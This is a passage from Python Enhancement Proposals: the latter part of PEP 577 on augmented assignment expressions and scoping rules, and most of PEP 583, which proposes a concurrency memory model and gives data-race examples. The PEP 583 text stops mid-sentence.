__getattribute__ will not be called after the assignment has already taken place (they will only be called as needed to evaluate the in-place operation). Adding an inline assignment operator Given only the addition of augmented assignment expressions, it would be possible to abuse a symbol like |= as a general purpose assignment operator by defining a Target wrapper type that worked as follows: >>> class Target: ... def __init__(self, value): ... self.value = value ... def __or__(self, other): ... return Target(other) ... >>> x = Target(10) >>> x.value 10 >>> x |= 42 <__main__.Target object at 0x7f608caa8048> >>> x.value 42 This is similar to the way that storing a single reference in a list was long used as a workaround for the lack of a nonlocal keyword, and can still be used today (in combination with operator.itemsetter) to work around the lack of expression level assignments. Rather than requiring such workarounds, this PEP instead proposes that PEP 572’s “NAME := EXPR” syntax be adopted as a new inline assignment expression that uses the augmented assignment scoping rules described below. This cleanly handles cases where only the new value is of interest, and the previously bound value (if any) can just be discarded completely. Note that for both simple names and complex assignment targets, the inline assignment operator does not read the previous reference before assigning the new one. However, when used at function scope (either directly or inside a scoped expression), it does not implicitly define a new local variable, and will instead raise TargetNameError (as described for augmented assignments below). Assignment operator precedence To preserve the existing semantics of augmented assignment statements, inline assignment operators will be defined as being of lower precedence than all other operators, include the comma pseudo-operator. This ensures that when used as a top level expression the entire right hand side of the expression is still interpreted as the value to be processed (even when that value is a tuple without parentheses). The difference this introduces relative to PEP 572 is that where (n := first, second) sets n = first in PEP 572, in this PEP it would set n = (first, second), and getting the first meaning would require an extra set of parentheses (((n := first), second)). PEP 572 quite reasonably notes that this results in ambiguity when assignment expressions are used as function call arguments. This PEP resolves that concern a different way by requiring that assignment expressions be parenthesised when used as arguments to a function call (unless they’re the sole argument). This is a more relaxed version of the restriction placed on generator expressions (which always require parentheses, except when they’re the sole argument to a function call). Augmented assignment to names in block scopes No target name binding changes are proposed for augmented assignments at module or class scope (this also includes code executed using “exec” or “eval”). These will continue to implicitly declare a new local variable as the binding target as they do today, and (if necessary) will be able to resolve the name from an outer scope before binding it locally. At function scope, augmented assignments will be changed to require that there be either a preceding name binding or variable declaration to explicitly establish the target name as being local to the function, or else an explicit global or nonlocal declaration. TargetNameError, a new SyntaxError subclass, will be raised at compile time if no such binding or declaration is present. For example, the following code would compile and run as it does today: x = 0 x += 1 # Sets global "x" to 1 class C: x += 1 # Sets local "x" to 2, leaves global "x" alone def local_target(): x = 0 x += 1 # Sets local "x" to 1, leaves global "x" alone def global_target(): global x x += 1 # Increments global "x" each time this runs def nonlocal_target(): x = 0 def g(): nonlocal x x += 1 # Increments "x" in outer scope each time this runs return x return g The follow examples would all still compile and then raise an error at runtime as they do today: n += 1 # Raises NameError at runtime class C: n += 1 # Raises NameError at runtime def missing_global(): global n n += 1 # Raises NameError at runtime def delayed_nonlocal_initialisation(): def f(): nonlocal n n += 1 f() # Raises NameError at runtime n = 0 def skipped_conditional_initialisation(): if False: n = 0 n += 1 # Raises UnboundLocalError at runtime def local_declaration_without_initial_assignment(): n: typing.Any n += 1 # Raises UnboundLocalError at runtime Whereas the following would raise a compile time DeprecationWarning initially, and eventually change to report a compile time TargetNameError: def missing_target(): x += 1 # Compile time TargetNameError due to ambiguous target scope # Is there a missing initialisation of "x" here? Or a missing # global or nonlocal declaration? As a conservative implementation approach, the compile time function name resolution change would be introduced as a DeprecationWarning in Python 3.8, and then converted to TargetNameError in Python 3.9. This avoids potential problems in cases where an unused function would currently raise UnboundLocalError if it was ever actually called, but the code is actually unused - converting that latent runtime defect to a compile time error qualifies as a backwards incompatible change that requires a deprecation period. When augmented assignments are used as expressions in function scope (rather than as standalone statements), there aren’t any backwards compatibility concerns, so the compile time name binding checks would be enforced immediately in Python 3.8. Similarly, the new inline assignment expressions would always require explicit predeclaration of their target scope when used as part of a function, at least for Python 3.8. (See the design discussion section for notes on potentially revisiting that restriction in the future). Augmented assignment to names in scoped expressions Scoped expressions is a new collective term being proposed for expressions that introduce a new nested scope of execution, either as an intrinsic part of their operation (lambda expressions, generator expressions), or else as a way of hiding name binding operations from the containing scope (container comprehensions). Unlike regular functions, these scoped expressions can’t include explicit global or nonlocal declarations to rebind names directly in an outer scope. Instead, their name binding semantics for augmented assignment expressions would be defined as follows: augmented assignment targets used in scoped expressions are expected to either be already bound in the containing block scope, or else have their scope explicitly declared in the containing block scope. If no suitable name binding or declaration can be found in that scope, then TargetNameError will be raised at compile time (rather than creating a new binding within the scoped expression). if the containing block scope is a function scope, and the target name is explicitly declared as global or nonlocal, then it will be use the same scope declaration in the body of the scoped expression if the containing block scope is a function scope, and the target name is a local variable in that function, then it will be implicitly declared as nonlocal in the body of the scoped expression if the containing block scope is a class scope, than TargetNameError will always be raised, with a dedicated message indicating that combining class scopes with augmented assignments in scoped expressions is not currently permitted. if a name is declared as a formal parameter (lambda expressions), or as an iteration variable (generator expressions, comprehensions), then that name is considered local to that scoped expression, and attempting to use it as the target of an augmented assignment operation in that scope, or any nested scoped expression, will raise TargetNameError (this is a restriction that could potentially be lifted later, but is being proposed for now to simplify the initial set of compile time and runtime semantics that needs to be covered in the language reference and handled by the compiler and interpreter) For example, the following code would work as shown: >>> global_target = 0 >>> incr_global_target = lambda: global_target += 1 >>> incr_global_target() 1 >>> incr_global_target() 2 >>> global_target 2 >>> def cumulative_sums(data, start=0) ... total = start ... yield from (total += value for value in data) ... return total ... >>> print(list(cumulative_sums(range(5)))) [0, 1, 3, 6, 10] While the following examples would all raise TargetNameError: class C: cls_target = 0 incr_cls_target = lambda: cls_target += 1 # Error due to class scope def missing_target(): incr_x = lambda: x += 1 # Error due to missing target "x" def late_target(): incr_x = lambda: x += 1 # Error due to "x" being declared after use x = 1 lambda arg: arg += 1 # Error due to attempt to target formal parameter [x += 1 for x in data] # Error due to attempt to target iteration variable As augmented assignments currently can’t appear inside scoped expressions, the above compile time name resolution exceptions would be included as part of the initial implementation rather than needing to be phased in as a potentially backwards incompatible change. Design discussion Allowing complex assignment targets The initial drafts of this PEP kept PEP 572’s restriction to single name targets when augmented assignments were used as expressions, allowing attribute and subscript targets solely for the statement form. However, enforcing that required varying the permitted targets based on whether or not the augmented assignment was a top level expression or not, as well as explaining why n += 1, (n += 1), and self.n += 1 were all legal, but (self.n += 1) was prohibited, so the proposal was simplified to allow all existing augmented assignment targets for the expression form as well. Since this PEP defines TARGET := EXPR as a variant on augmented assignment, that also gained support for assignment and subscript targets. Augmented assignment or name binding only? PEP 572 makes a reasonable case that the potential use cases for inline augmented assignment are notably weaker than those for inline assignment in general, so it’s acceptable to require that they be spelled as x := x + 1, bypassing any in-place augmented assignment methods. While this is at least arguably true for the builtin types (where potential counterexamples would probably need to focus on set manipulation use cases that the PEP author doesn’t personally have), it would also rule out more memory intensive use cases like manipulation of NumPy arrays, where the data copying involved in out-of-place operations can make them impractical as alternatives to their in-place counterparts. That said, this PEP mainly exists because the PEP author found the inline assignment proposal much easier to grasp as “It’s like +=, only skipping the addition step”, and also liked the way that that framing provides an actual semantic difference between NAME = EXPR and NAME := EXPR at function scope. That difference in target scoping behaviour means that the NAME := EXPR syntax would be expected to have two primary use cases: as a way of allowing assignments to be embedded as an expression in an if or while statement, or as part of a scoped expression as a way of requesting a compile time check that the target name be previously declared or bound in the current function scope At module or class scope, NAME = EXPR and NAME := EXPR would be semantically equivalent due to the compiler’s lack of visibility into the set of names that will be resolvable at runtime, but code linters and static type checkers would be encouraged to enforce the same “declaration or assignment required before use” behaviour for NAME := EXPR as the compiler would enforce at function scope. Postponing a decision on expression level target declarations At least for Python 3.8, usage of inline assignments (whether augmented or not) at function scope would always require a preceding name binding or scope declaration to avoid getting TargetNameError, even when used outside a scoped expression. The intent behind this requirement is to clearly separate the following two language design questions: Can an expression rebind a name in the current scope? Can an expression declare a new name in the current scope? For module global scopes, the answer to both of those questions is unequivocally “Yes”, because it’s a language level guarantee that mutating the globals() dict will immediately impact the runtime module scope, and global NAME declarations inside a function can have the same effect (as can importing the currently executing module and modifying its attributes). For class scopes, the answer to both questions is also “Yes” in practice, although less unequivocally so, since the semantics of locals() are currently formally unspecified. However, if the current behaviour of locals() at class scope is taken as normative (as PEP 558 proposes), then this is essentially the same scenario as manipulating the module globals, just using locals() instead. For function scopes, however, the current answers to these two questions are respectively “Yes” and “No”. Expression level rebinding of function locals is already possible thanks to lexically nested scopes and explicit nonlocal NAME expressions. While this PEP will likely make expression level rebinding more common than it is today, it isn’t a fundamentally new concept for the language. By contrast, declaring a new function local variable is currently a statement level action, involving one of: an assignment statement (NAME = EXPR, OTHER_TARGET = NAME = EXPR, etc) a variable declaration (NAME : EXPR) a nested function definition a nested class definition a for loop a with statement an except clause (with limited scope of access) The historical trend for the language has actually been to remove support for expression level declarations of function local names, first with the introduction of “fast locals” semantics (which made the introduction of names via locals() unsupported for function scopes), and again with the hiding of comprehension iteration variables in Python 3.0. Now, it may be that in Python 3.9, we decide to revisit this question based on our experience with expression level name binding in Python 3.8, and decide that we really do want expression level function local variable declarations as well, and that we want NAME := EXPR to be the way we spell that (rather than, for example, spelling inline declarations more explicitly as NAME := EXPR given NAME, which would permit them to carry type annotations, and also permit them to declare new local variables in scoped expressions, rather than having to pollute the namespace in their containing scope). But the proposal in this PEP is that we explicitly give ourselves a full release to decide how much we want that feature, and exactly where we find its absence irritating. Python has survived happily without expression level name bindings or declarations for decades, so we can afford to give ourselves a couple of years to decide if we really want both of those, or if expression level bindings are sufficient. Ignoring scoped expressions when determining augmented assignment targets When discussing possible binding semantics for PEP 572’s assignment expressions, Tim Peters made a plausible case [1], [2], [3] for assignment expressions targeting the containing block scope, essentially ignoring any intervening scoped expressions. This approach allows use cases like cumulative sums, or extracting the final value from a generator expression to be written in a relatively straightforward way: total = 0 partial_sums = [total := total + value for value in data] factor = 1 while any(n % (factor := p) == 0 for p in small_primes): n //= factor Guido also expressed his approval for this general approach [4]. The proposal in this PEP differs from Tim’s original proposal in three main areas: it applies the proposal to all augmented assignment operators, not just a single new name binding operator as far as is practical, it extends the augmented assignment requirement that the name already be defined to the new name binding operator (raising TargetNameError rather than implicitly declaring new local variables at function scope) it includes lambda expressions in the set of scopes that get ignored for target name binding purposes, making this transparency to assignments common to all of the scoped expressions rather than being specific to comprehensions and generator expressions With scoped expressions being ignored when calculating binding targets, it’s once again difficult to detect the scoping difference between the outermost iterable expressions in generator expressions and comprehensions (you have to mess about with either class scopes or attempting to rebind iteration Variables to detect it), so there’s also no need to tinker with that. Treating inline assignment as an augmented assignment variant One of the challenges with PEP 572 is the fact that NAME = EXPR and NAME := EXPR are entirely semantically equivalent at every scope. This makes the two forms hard to teach, since there’s no inherent nudge towards choosing one over the other at the statement level, so you end up having to resort to “NAME = EXPR is preferred because it’s been around longer” (and PEP 572 proposes to enforce that historical idiosyncrasy at the compiler level). That semantic equivalence is difficult to avoid at module and class scope while still having if NAME := EXPR: and while NAME := EXPR: work sensibly, but at function scope the compiler’s comprehensive view of all local names makes it possible to require that the name be assigned or declared before use, providing a reasonable incentive to continue to default to using the NAME = EXPR form when possible, while also enabling the use of the NAME := EXPR as a kind of simple compile time assertion (i.e. explicitly indicating that the targeted name has already been bound or declared and hence should already be known to the compiler). If Guido were to declare that support for inline declarations was a hard design requirement, then this PEP would be updated to propose that EXPR given NAME also be introduced as a way to support inline name declarations after arbitrary expressions (this would allow the inline name declarations to be deferred until the end of a complex expression rather than needing to be embedded in the middle of it, and PEP 8 would gain a recommendation encouraging that style). Disallowing augmented assignments in class level scoped expressions While modern classes do define an implicit closure that’s visible to method implementations (in order to make __class__ available for use in zero-arg super() calls), there’s no way for user level code to explicitly add additional names to that scope. Meanwhile, attributes defined in a class body are ignored for the purpose of defining a method’s lexical closure, which means adding them there wouldn’t work at an implementation level. Rather than trying to resolve that inherent ambiguity, this PEP simply prohibits such usage, and requires that any affected logic be written somewhere other than directly inline in the class body (e.g. in a separate helper function). Comparison operators vs assignment operators The OP= construct as an expression currently indicates a comparison operation: x == y # Equals x >= y # Greater-than-or-equal-to x <= y # Less-than-or-equal-to Both this PEP and PEP 572 propose adding at least one operator that’s somewhat similar in appearance, but defines an assignment instead: x := y # Becomes This PEP then goes much further and allows all 13 augmented assignment symbols to be uses as binary operators: x += y # In-place add x -= y # In-place minus x *= y # In-place multiply x @= y # In-place matrix multiply x /= y # In-place division x //= y # In-place int division x %= y # In-place mod x &= y # In-place bitwise and x |= y # In-place bitwise or x ^= y # In-place bitwise xor x <<= y # In-place left shift x >>= y # In-place right shift x **= y # In-place power Of those additional binary operators, the most questionable would be the bitshift assignment operators, since they’re each only one doubled character away from one of the inclusive ordered comparison operators. Examples Simplifying retry loops There are currently a few different options for writing retry loops, including: # Post-decrementing a counter remaining_attempts = MAX_ATTEMPTS while remaining_attempts: remaining_attempts -= 1 try: result = attempt_operation() except Exception as exc: continue # Failed, so try again log.debug(f"Succeeded after {attempts} attempts") break # Success! else: raise OperationFailed(f"Failed after {MAX_ATTEMPTS} attempts") from exc # Loop-and-a-half with a pre-incremented counter attempt = 0 while True: attempts += 1 if attempts > MAX_ATTEMPTS: raise OperationFailed(f"Failed after {MAX_ATTEMPTS} attempts") from exc try: result = attempt_operation() except Exception as exc: continue # Failed, so try again log.debug(f"Succeeded after {attempts} attempts") break # Success! Each of the available options hides some aspect of the intended loop structure inside the loop body, whether that’s the state modification, the exit condition, or both. The proposal in this PEP allows both the state modification and the exit condition to be included directly in the loop header: attempt = 0 while (attempt += 1) <= MAX_ATTEMPTS: try: result = attempt_operation() except Exception as exc: continue # Failed, so try again log.debug(f"Succeeded after {attempts} attempts") break # Success! else: raise OperationFailed(f"Failed after {MAX_ATTEMPTS} attempts") from exc Simplifying if-elif chains if-elif chains that need to rebind the checked condition currently need to be written using nested if-else statements: m = pattern.match(data) if m: ... else: m = other_pattern.match(data) if m: ... else: m = yet_another_pattern.match(data) if m: ... else: ... As with PEP 572, this PEP allows the else/if portions of that chain to be condensed, making their consistent and mutually exclusive structure more readily apparent: m = pattern.match(data) if m: ... elif m := other_pattern.match(data): ... elif m := yet_another_pattern.match(data): ... else: ... Unlike PEP 572, this PEP requires that the assignment target be explicitly indicated as local before the first use as a := target, either by binding it to a value (as shown above), or else by including an appropriate explicit type declaration: m: typing.re.Match if m := pattern.match(data): ... elif m := other_pattern.match(data): ... elif m := yet_another_pattern.match(data): ... else: ... Capturing intermediate values from comprehensions The proposal in this PEP makes it straightforward to capture and reuse intermediate values in comprehensions and generator expressions by exporting them to the containing block scope: factor: int while any(n % (factor := p) == 0 for p in small_primes): n //= factor total = 0 partial_sums = [total += value for value in data] Allowing lambda expressions to act more like re-usable code thunks This PEP allows the classic closure usage example: def make_counter(start=0): x = start def counter(step=1): nonlocal x x += step return x return counter To be abbreviated as: def make_counter(start=0): x = start return lambda step=1: x += step While the latter form is still a conceptually dense piece of code, it can be reasonably argued that the lack of boilerplate (where the “def”, “nonlocal”, and “return” keywords and two additional repetitions of the “x” variable name have been replaced with the “lambda” keyword) may make it easier to read in practice. Relationship with PEP 572 The case for allowing inline assignments at all is made in PEP 572. This competing PEP was initially going to propose an alternate surface syntax (EXPR given NAME = EXPR), while retaining the expression semantics from PEP 572, but that changed when discussing one of the initial motivating use cases for allowing embedded assignments at all: making it possible to easily calculate cumulative sums in comprehensions and generator expressions. As a result of that, and unlike PEP 572, this PEP focuses primarily on use cases for inline augmented assignment. It also has the effect of converting cases that currently inevitably raise UnboundLocalError at function call time to report a new compile time TargetNameError. New syntax for a name rebinding expression (NAME := TARGET) is then added not only to handle the same use cases as are identified in PEP 572, but also as a lower level primitive to help illustrate, implement and explain the new augmented assignment semantics, rather than being the sole change being proposed. The author of this PEP believes that this approach makes the value of the new flexibility in name rebinding clearer, while also mitigating many of the potential concerns raised with PEP 572 around explaining when to use NAME = EXPR over NAME := EXPR (and vice-versa), without resorting to prohibiting the bare statement form of NAME := EXPR outright (such that NAME := EXPR is a compile error, but (NAME := EXPR) is permitted). Acknowledgements The PEP author wishes to thank Chris Angelico for his work on PEP 572, and his efforts to create a coherent summary of the great many sprawling discussions that spawned on both python-ideas and python-dev, as well as Tim Peters for the in-depth discussion of parent local scoping that prompted the above scoping proposal for augmented assignments inside scoped expressions. Eric Snow’s feedback on a pre-release version of this PEP helped make it significantly more readable. References [1] The beginning of Tim’s genexp & comprehension scoping thread (https://mail.python.org/pipermail/python-ideas/2018-May/050367.html) [2] Reintroducing the original cumulative sums use case (https://mail.python.org/pipermail/python-ideas/2018-May/050544.html) [3] Tim’s language reference level explanation of his proposed scoping semantics (https://mail.python.org/pipermail/python-ideas/2018-May/050729.html) [4] Guido’s endorsement of Tim’s proposed genexp & comprehension scoping (https://mail.python.org/pipermail/python-ideas/2018-May/050411.html) Copyright This document has been placed in the public domain.

Withdrawn

PEP 577 – Augmented Assignment Expressions

Standards Track

This is a proposal to allow augmented assignments such as x += 1 to be used as expressions, not just statements.

PEP 583 – A Concurrency Memory Model for Python Author: Jeffrey Yasskin <jyasskin at google.com> Status: Withdrawn Type: Informational Created: 22-Mar-2008 Post-History: Table of Contents Abstract Rationale A couple definitions Two simple memory models Sequential Consistency Happens-before consistency An example Surprising behaviors with races Zombie values Inconsistent Orderings A happens-before race that’s not a sequentially-consistent race Self-justifying values Uninitialized values (direct) Uninitialized values (flag) Inconsistent guarantees from relying on data dependencies The rules for Python Data-race-free programs are sequentially consistent No security holes from out-of-thin-air reads Restrict reorderings instead of defining happens-before Atomic, unordered assignments Two tiers of guarantees Sequential Consistency Adapt the x86 model Upgrading or downgrading to an alternate model Implementation Details CPython PyPy Jython IronPython References Acknowledgements Copyright Abstract This PEP describes how Python programs may behave in the presence of concurrent reads and writes to shared variables from multiple threads. We use a happens before relation to define when variable accesses are ordered or concurrent. Nearly all programs should simply use locks to guard their shared variables, and this PEP highlights some of the strange things that can happen when they don’t, but programmers often assume that it’s ok to do “simple” things without locking, and it’s somewhat unpythonic to let the language surprise them. Unfortunately, avoiding surprise often conflicts with making Python run quickly, so this PEP tries to find a good tradeoff between the two. Rationale So far, we have 4 major Python implementations – CPython, Jython, IronPython, and PyPy – as well as lots of minor ones. Some of these already run on platforms that do aggressive optimizations. In general, these optimizations are invisible within a single thread of execution, but they can be visible to other threads executing concurrently. CPython currently uses a GIL to ensure that other threads see the results they expect, but this limits it to a single processor. Jython and IronPython run on Java’s or .NET’s threading system respectively, which allows them to take advantage of more cores but can also show surprising values to other threads. So that threaded Python programs continue to be portable between implementations, implementers and library authors need to agree on some ground rules. A couple definitions VariableA name that refers to an object. Variables are generally introduced by assigning to them, and may be destroyed by passing them to del. Variables are fundamentally mutable, while objects may not be. There are several varieties of variables: module variables (often called “globals” when accessed from within the module), class variables, instance variables (also known as fields), and local variables. All of these can be shared between threads (the local variables if they’re saved into a closure). The object in which the variables are scoped notionally has a dict whose keys are the variables’ names. ObjectA collection of instance variables (a.k.a. fields) and methods. At least, that’ll do for this PEP. Program OrderThe order that actions (reads and writes) happen within a thread, which is very similar to the order they appear in the text. Conflicting actionsTwo actions on the same variable, at least one of which is a write. Data raceA situation in which two conflicting actions happen at the same time. “The same time” is defined by the memory model. Two simple memory models Before talking about the details of data races and the surprising behaviors they produce, I’ll present two simple memory models. The first is probably too strong for Python, and the second is probably too weak. Sequential Consistency In a sequentially-consistent concurrent execution, actions appear to happen in a global total order with each read of a particular variable seeing the value written by the last write that affected that variable. The total order for actions must be consistent with the program order. A program has a data race on a given input when one of its sequentially consistent executions puts two conflicting actions next to each other. This is the easiest memory model for humans to understand, although it doesn’t eliminate all confusion, since operations can be split in odd places. Happens-before consistency The program contains a collection of synchronization actions, which in Python currently include lock acquires and releases and thread starts and joins. Synchronization actions happen in a global total order that is consistent with the program order (they don’t have to happen in a total order, but it simplifies the description of the model). A lock release synchronizes with all later acquires of the same lock. Similarly, given t = threading.Thread(target=worker): A call to t.start() synchronizes with the first statement in worker(). The return from worker() synchronizes with the return from t.join(). If the return from t.start() happens before (see below) a call to t.isAlive() that returns False, the return from worker() synchronizes with that call. We call the source of the synchronizes-with edge a release operation on the relevant variable, and we call the target an acquire operation. The happens before order is the transitive closure of the program order with the synchronizes-with edges. That is, action A happens before action B if: A falls before B in the program order (which means they run in the same thread) A synchronizes with B You can get to B by following happens-before edges from A. An execution of a program is happens-before consistent if each read R sees the value of a write W to the same variable such that: R does not happen before W, and There is no other write V that overwrote W before R got a chance to see it. (That is, it can’t be the case that W happens before V happens before R.) You have a data race if two conflicting actions aren’t related by happens-before. An example Let’s use the rules from the happens-before model to prove that the following program prints “[7]”: class Queue: def __init__(self): self.l = [] self.cond = threading.Condition() def get(): with self.cond: while not self.l: self.cond.wait() ret = self.l[0] self.l = self.l[1:] return ret def put(x): with self.cond: self.l.append(x) self.cond.notify() myqueue = Queue() def worker1(): x = [7] myqueue.put(x) def worker2(): y = myqueue.get() print y thread1 = threading.Thread(target=worker1) thread2 = threading.Thread(target=worker2) thread2.start() thread1.start() Because myqueue is initialized in the main thread before thread1 or thread2 is started, that initialization happens before worker1 and worker2 begin running, so there’s no way for either to raise a NameError, and both myqueue.l and myqueue.cond are set to their final objects. The initialization of x in worker1 happens before it calls myqueue.put(), which happens before it calls myqueue.l.append(x), which happens before the call to myqueue.cond.release(), all because they run in the same thread. In worker2, myqueue.cond will be released and re-acquired until myqueue.l contains a value (x). The call to myqueue.cond.release() in worker1 happens before that last call to myqueue.cond.acquire() in worker2. That last call to myqueue.cond.acquire() happens before myqueue.get() reads myqueue.l, which happens before myqueue.get() returns, which happens before print y, again all because they run in the same thread. Because happens-before is transitive, the list initially stored in x in thread1 is initialized before it is printed in thread2. Usually, we wouldn’t need to look all the way into a thread-safe queue’s implementation in order to prove that uses were safe. Its interface would specify that puts happen before gets, and we’d reason directly from that. Surprising behaviors with races Lots of strange things can happen when code has data races. It’s easy to avoid all of these problems by just protecting shared variables with locks. This is not a complete list of race hazards; it’s just a collection that seem relevant to Python. In all of these examples, variables starting with r are local variables, and other variables are shared between threads. Zombie values This example comes from the Java memory model: Initially p is q and p.x == 0. Thread 1 Thread 2 r1 = p r6 = p r2 = r1.x r6.x = 3 r3 = q r4 = r3.x r5 = r1.x Can produce r2 == r5 == 0 but r4 == 3, proving that p.x went from 0 to 3 and back to 0. A good compiler would like to optimize out the redundant load of p.x in initializing r5 by just re-using the value already loaded into r2. We get the strange result if thread 1 sees memory in this order: Evaluation Computes Why r1 = p r2 = r1.x r2 == 0 r3 = q r3 is p p.x = 3 Side-effect of thread 2 r4 = r3.x r4 == 3 r5 = r2 r5 == 0 Optimized from r5 = r1.x because r2 == r1.x. Inconsistent Orderings From N2177: Sequential Consistency for Atomics, and also known as Independent Read of Independent Write (IRIW). Initially, a == b == 0. Thread 1 Thread 2 Thread 3 Thread 4 r1 = a r3 = b a = 1 b = 1 r2 = b r4 = a We may get r1 == r3 == 1 and r2 == r4 == 0, proving both that a was written before b (thread 1’s data), and that b was written before a (thread 2’s data). See Special Relativity for a real-world example. This can happen if thread 1 and thread 3 are running on processors that are close to each other, but far away from the processors that threads 2 and 4 are running on and the writes are not being transmitted all the way across the machine before becoming visible to nearby threads. Neither acquire/release semantics nor explicit memory barriers can help with this. Making the orders consistent without locking requires detailed knowledge of the architecture’s memory model, but Java requires it for volatiles so we could use documentation aimed at its implementers. A happens-before race that’s not a sequentially-consistent race From the POPL paper about the Java memory model [#JMM-popl]. Initially, x == y == 0. Thread 1 Thread 2 r1 = x r2 = y if r1 != 0: if r2 != 0: y = 42 x = 42 Can r1 == r2 == 42??? In a sequentially-consistent execution, there’s no way to get an adjacent read and write to the same variable, so the program should be considered correctly synchronized (albeit fragile), and should only produce r1 == r2 == 0. However, the following execution is happens-before consistent: Statement Value Thread r1 = x 42 1 if r1 != 0: true 1 y = 42 1 r2 = y 42 2 if r2 != 0: true 2 x = 42 2 WTF, you are asking yourself. Because there were no inter-thread happens-before edges in the original program, the read of x in thread 1 can see any of the writes from thread 2, even if they only happened because the read saw them. There are data races in the happens-before model. We don’t want to allow this, so the happens-before model isn’t enough for Python. One rule we could add to happens-before that would prevent this execution is: If there are no data races in any sequentially-consistent execution of a program, the program should have sequentially consistent semantics. Java gets this rule as a theorem, but Python may not want all of the machinery you need to prove it. Self-justifying values Also from the POPL paper about the Java memory model [#JMM-popl]. Initially, x == y == 0. Thread 1 Thread 2 r1 = x r2 = y y = r1 x = r2 Can x == y == 42??? In a sequentially consistent execution, no. In a happens-before consistent execution, yes: The read of x in thread 1 is allowed to see the value written in thread 2 because there are no happens-before relations between the threads. This could happen if the compiler or processor transforms the code into: Thread 1 Thread 2 y = 42 r2 = y r1 = x x = r2 if r1 != 42: y = r1 It can produce a security hole if the speculated value is a secret object, or points to the memory that an object used to occupy. Java cares a lot about such security holes, but Python may not. Uninitialized values (direct) From several classic double-checked locking examples. Initially, d == None. Thread 1 Thread 2 while not d: pass d = [3, 4] assert d[1] == 4 This could raise an IndexError, fail the assertion, or, without some care in the implementation, cause a crash or other undefined behavior. Thread 2 may actually be implemented as: r1 = list() r1.append(3) r1.append(4) d = r1 Because the assignment to d and the item assignments are independent, the compiler and processor may optimize that to: r1 = list() d = r1 r1.append(3) r1.append(4) Which is obviously incorrect and explains the IndexError. If we then look deeper into the implementation of r1.append(3), we may find that it and d[1] cannot run concurrently without causing their own race conditions. In CPython (without the GIL), those race conditions would produce undefined behavior. There’s also a subtle issue on the reading side that can cause the value of d[1] to be out of date. Somewhere in the implementation of list, it stores its contents as an array in memory. This array may happen to be in thread 1’s cache. If thread 1’s processor reloads d from main memory without reloading the memory that ought to contain the values 3 and 4, it could see stale values instead. As far as I know, this can only actually happen on Alphas and maybe Itaniums, and we probably have to prevent it anyway to avoid crashes. Uninitialized values (flag) From several more double-checked locking examples. Initially, d == dict() and initialized == False. Thread 1 Thread 2 while not initialized: pass d[‘a’] = 3 r1 = d[‘a’] initialized = True r2 = r1 == 3 assert r2 This could raise a KeyError, fail the assertion, or, without some care in the implementation, cause a crash or other undefined behavior. Because d and initialized are independent (except in the programmer’s mind), the compiler and processor can rearrange these almost arbitrarily, except that thread 1’s assertion has to stay after the loop. Inconsistent guarantees from relying on data dependencies This is a problem with Java final variables and the proposed data-dependency ordering in C++0x. First execute:g = [] def Init(): g.extend([1,2,3]) return [1,2,3] h = None Then in two threads: Thread 1 Thread 2 while not h: pass r1 = Init() assert h == [1,2,3] freeze(r1) assert h == g h = r1 If h has semantics similar to a Java final variable (except for being write-once), then even though the first assertion is guaranteed to succeed, the second could fail. Data-dependent guarantees like those final provides only work if the access is through the final variable. It’s not even safe to access the same object through a different route. Unfortunately, because of how processors work, final’s guarantees are only cheap when they’re weak. The rules for Python The first rule is that Python interpreters can’t crash due to race conditions in user code. For CPython, this means that race conditions can’t make it down into C. For Jython, it means that NullPointerExceptions can’t escape the interpreter. Presumably we also want a model at least as strong as happens-before consistency because it lets us write a simple description of how concurrent queues and thread launching and joining work. Other rules are more debatable, so I’ll present each one with pros and cons. Data-race-free programs are sequentially consistent We’d like programmers to be able to reason about their programs as if they were sequentially consistent. Since it’s hard to tell whether you’ve written a happens-before race, we only want to require programmers to prevent sequential races. The Java model does this through a complicated definition of causality, but if we don’t want to include that, we can just assert this property directly. No security holes from out-of-thin-air reads If the program produces a self-justifying value, it could expose access to an object that the user would rather the program not see. Again, Java’s model handles this with the causality definition. We might be able to prevent these security problems by banning speculative writes to shared variables, but I don’t have a proof of that, and Python may not need those security guarantees anyway. Restrict reorderings instead of defining happens-before The .NET [#CLR-msdn] and x86 [#x86-model] memory models are based on defining which reorderings compilers may allow. I think that it’s easier to program to a happens-before model than to reason about all of the possible reorderings of a program, and it’s easier to insert enough happens-before edges to make a program correct, than to insert enough memory fences to do the same thing. So, although we could layer some reordering restrictions on top of the happens-before base, I don’t think Python’s memory model should be entirely reordering restrictions. Atomic, unordered assignments Assignments of primitive types are already atomic. If you assign 3<<72 + 5 to a variable, no thread can see only part of the value. Jeremy Manson suggested that we extend this to all objects. This allows compilers to reorder operations to optimize them, without allowing some of the more confusing uninitialized values. The basic idea here is that when you assign a shared variable, readers can’t see any changes made to the new value before the assignment, or to the old value after the assignment. So, if we have a program like: Initially, (d.a, d.b) == (1, 2), and (e.c, e.d) == (3, 4). We also have class Obj(object): pass. Thread 1 Thread 2 r1 = Obj() r3 = d r1.a = 3 r4, r5 = r3.a, r3.b r1.b = 4 r6 = e d = r1 r7, r8 = r6.c, r6.d r2 = Obj() r2.c = 6 r2.d = 7 e = r2 (r4, r5) can be (1, 2) or (3, 4) but nothing else, and (r7, r8) can be either (3, 4) or (6, 7) but nothing else. Unlike if writes were releases and reads were acquires, it’s legal for thread 2 to see (e.c, e.d) == (6, 7) and (d.a, d.b) == (1, 2) (out of order). This allows the compiler a lot of flexibility to optimize without allowing users to see some strange values. However, because it relies on data dependencies, it introduces some surprises of its own. For example, the compiler could freely optimize the above example to: Thread 1 Thread 2 r1 = Obj() r3 = d r2 = Obj() r6 = e r1.a = 3 r4, r7 = r3.a, r6.c r2.c = 6 r5, r8 = r3.b, r6.d r2.d = 7 e = r2 r1.b = 4 d = r1 As long as it didn’t let the initialization of e move above any of the initializations of members of r2, and similarly for d and r1. This also helps to ground happens-before consistency. To see the problem, imagine that the user unsafely publishes a reference to an object as soon as she gets it. The model needs to constrain what values can be read through that reference. Java says that every field is initialized to 0 before anyone sees the object for the first time, but Python would have trouble defining “every field”. If instead we say that assignments to shared variables have to see a value at least as up to date as when the assignment happened, then we don’t run into any trouble with early publication. Two tiers of guarantees Most other languages with any guarantees for unlocked variables distinguish between ordinary variables and volatile/atomic variables. They provide many more guarantees for the volatile ones. Python can’t easily do this because we don’t declare variables. This may or may not matter, since python locks aren’t significantly more expensive than ordinary python code. If we want to get those tiers back, we could: Introduce a set of atomic types similar to Java’s [5] or C++’s [6]. Unfortunately, we couldn’t assign to them with =. Without requiring variable declarations, we could also specify that all of the fields on a given object are atomic. Extend the __slots__ mechanism [7] with a parallel __volatiles__ 